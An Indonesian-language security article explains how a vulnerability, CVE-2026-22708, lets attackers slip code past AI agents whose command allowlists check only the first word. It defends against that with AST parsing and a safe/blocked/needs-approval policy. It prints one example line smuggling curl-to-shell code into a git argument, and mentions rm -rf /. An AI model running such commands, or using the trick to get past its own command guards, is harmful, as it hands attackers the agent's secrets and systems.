Kerentanan yang baru saja diungkapkan, CVE-2026-22708, menunjukkan bahwa agen AI yang mengandalkan daftar izin (allowlist) perintah sederhana dapat dikelabui untuk mengeksekusi kode berbahaya. Celah ini memungkinkan penyerang menyembunyikan payload di dalam perintah yang tampak tidak berbahaya, memberikan agen rute langsung untuk menjalankan skrip sembarang pada host.

Sebagian besar asisten berbasis AI yang mengotomatiskan pengembangan atau operasi bekerja dengan memeriksa kata pertama dari sebuah perintah terhadap daftar putih (whitelist). Jika kata tersebut cocok dengan entri seperti git atau npm, permintaan akan langsung diteruskan. "Pencocokan awalan" (prefix matching) ini menarik karena mudah diimplementasikan dan tampak dapat mencegah agen menjalankan utilitas berbahaya.

Dalam praktiknya, pendekatan ini adalah celah keamanan. Penyerang dapat menyisipkan substitusi perintah atau fitur shell lainnya setelah kata yang diizinkan, dan daftar putih tidak akan pernah mendeteksinya. Contoh klasiknya adalah:

git branch "$(curl evil.sh | sh)"

Daftar izin hanya melihat git dan menyetujui permintaan tersebut. Shell kemudian mengekspansi $(curl evil.sh | sh), mengunduh skrip, dan menjalankannya dengan hak akses agen. Trik yang sama dapat bekerja pada biner apa pun yang masuk dalam daftar putih yang menerima argumen yang diinterpretasikan oleh shell.

Dampaknya sangat parah karena agen AI semakin dipercaya untuk mengelola lingkungan yang memiliki hak istimewa—pipelain integrasi berkelanjutan (continuous-integration pipelines), kontainer pengembangan berbasis cloud, dan bahkan stasiun kerja pengguna. Jika seorang agen dapat dipancing untuk mengeksekusi payload, penyerang akan mendapatkan hak akses yang sama dengan yang dimiliki agen, yang sering kali mencakup kunci rahasia, kredensial penerapan (deployment), atau akses sistem berkas tanpa batasan.

Mengapa daftar izin sederhana gagal

  • Pencocokan string, bukan kebijakan – Hanya memeriksa token pertama mengabaikan struktur baris perintah. Hal ini tidak mempertimbangkan bagaimana argumen diinterpretasikan atau apakah argumen tersebut mengandung metakarakter shell.
  • Fitur shell sangat kuat – Substitusi, pipeline, dan pengalihan (redirection) semuanya diproses setelah pemeriksaan daftar izin, mengubah perintah yang tampak tidak berbahaya menjadi eksploitasi penuh.
  • Tidak ada kesadaran konteks – Daftar putih tidak dapat membedakan antara git status yang aman dan git push --force yang berbahaya yang dapat menimpa riwayat produksi.

Model yang lebih tangguh

Respons komunitas terhadap CVE-2026-22708 adalah beralih dari pemeriksaan string yang naif ke penguraian (parsing) perintah ke dalam Abstract Syntax Tree (AST). AST merepresentasikan struktur hierarkis dari sebuah perintah, memisahkan file yang dapat dieksekusi dari argumennya dan konstruksi shell apa pun. Setelah perintah diurai, mesin kebijakan dapat mengevaluasinya terhadap tiga kategori berbeda:

  • AMAN (SAFE) – Perintah yang sesuai dengan aturan terverifikasi dan tidak mengandung konstruksi berisiko. Agen menjalankan ini secara otomatis. Contoh: git status.
  • DIBLOKIR (BLOCKED) – Perintah yang cocok dengan pola yang diketahui berbahaya, seperti perintah yang mengakses file rahasia, menghapus direktori, atau memanggil skrip istimewa. Agen segera membatalkan perintah ini. Contoh: rm -rf /.
  • TIDAK PASTI (UNCERTAIN) – Perintah yang tidak masuk secara jelas ke dalam kategori aman atau diblokir. Agen harus meminta persetujuan eksplisit dari manusia sebelum melanjutkan. Contoh: git push --force.

Pengenalan tingkatan UNCERTAIN mengubah model ancaman. Alih-alih memperlakukan setiap perintah yang tidak dikenal sebagai kegagalan, sistem mengubah ketidakpastian menjadi interaksi yang terkendali. Salah satu cara praktis untuk menegakkan langkah persetujuan adalah dengan menerbitkan token HMAC sekali pakai yang harus diberikan kembali oleh pengguna kepada agen. Karena token tersebut terikat secara kriptografis dengan permintaan, agen tidak dapat memalsukan persetujuan.

Menyeimbangkan keamanan dan kegunaan

Kritikus mungkin berpendapat bahwa penguraian AST menambah latensi atau bahwa model tiga tingkat dapat membanjiri pengguna dengan perintah persetujuan, sehingga mengurangi produktivitas. Kekhawatiran tersebut valid: kumpulan aturan yang tidak disetel dengan baik dapat menghasilkan false positive, dan penguraian yang kompleks dapat lebih berat secara komputasi daripada pemeriksaan string sederhana. Namun, alternatifnya—mengizinkan eksekusi kode sembarang—jauh lebih mahal harganya. Pendekatan hibrida yang menggabungkan sandboxing ringan dengan analisis AST dapat memitigasi penurunan performa sambil tetap menegakkan kebijakan yang kuat.

Apa yang dipertaruhkan bagi pengembang dan perusahaan

  • Kerahasiaan data – Agen yang disusupi dapat mengeksfiltrasi kunci API, kata sandi, dan kode milik perusahaan.
  • Integritas sistem – Perintah berbahaya dapat mengubah atau menghapus artefak produksi, membatalkan rilis (roll back), atau memasang backdoor.
  • Paparan regulasi – Pelanggaran yang disebabkan oleh otomatisasi yang tidak aman dapat memicu penalti kepatuhan, terutama di sektor-sektor dengan aturan penanganan data yang ketat.

Proyek yang mengabaikan risiko ini sering kali melumpuhkan agen dengan aturan yang terlalu membatasi atau membiarkannya terbuka terhadap eksploitasi. Jalan tengahnya—mendefinisikan grup SAFE, BLOCKED, dan UNCERTAIN yang jelas—memberikan jalur praktis menuju keamanan sekaligus kegunaan.

Apa yang perlu diperhatikan selanjutnya

  • Tooling – Nantikan pustaka sumber terbuka yang menyediakan parser berbasis AST untuk shell umum dan pipeline build, beserta templat kebijakan siap pakai.
  • Standards – Kelompok industri mungkin akan mengusulkan set aturan dasar untuk perintah pengembangan tipikal, serupa dengan bagaimana runtime kontainer menstandardisasi profil seccomp.
  • Audits – Tim keamanan kemungkinan akan menambahkan “sanity checks pada allowlist” ke dalam pipeline audit CI/CD mereka, menandai konfigurasi agen apa pun yang hanya mengandalkan pencocokan awalan.

Kesimpulan

Jika agen AI Anda masih memutuskan apa yang akan dijalankan hanya dengan melihat kata pertama dari sebuah perintah, maka ia terpapar kerentanan yang ditunjukkan dalam CVE-2026-22708. Ganti pendekatan tersebut dengan parsing berbasis AST dan kebijakan tiga tingkat yang mewajibkan konfirmasi manusia untuk tindakan yang ambigu. Langkah tambahan ini mungkin terasa seperti hambatan, tetapi ia mengubah titik buta menjadi titik kontrol yang dapat diverifikasi, melindungi kode sekaligus infrastruktur Anda.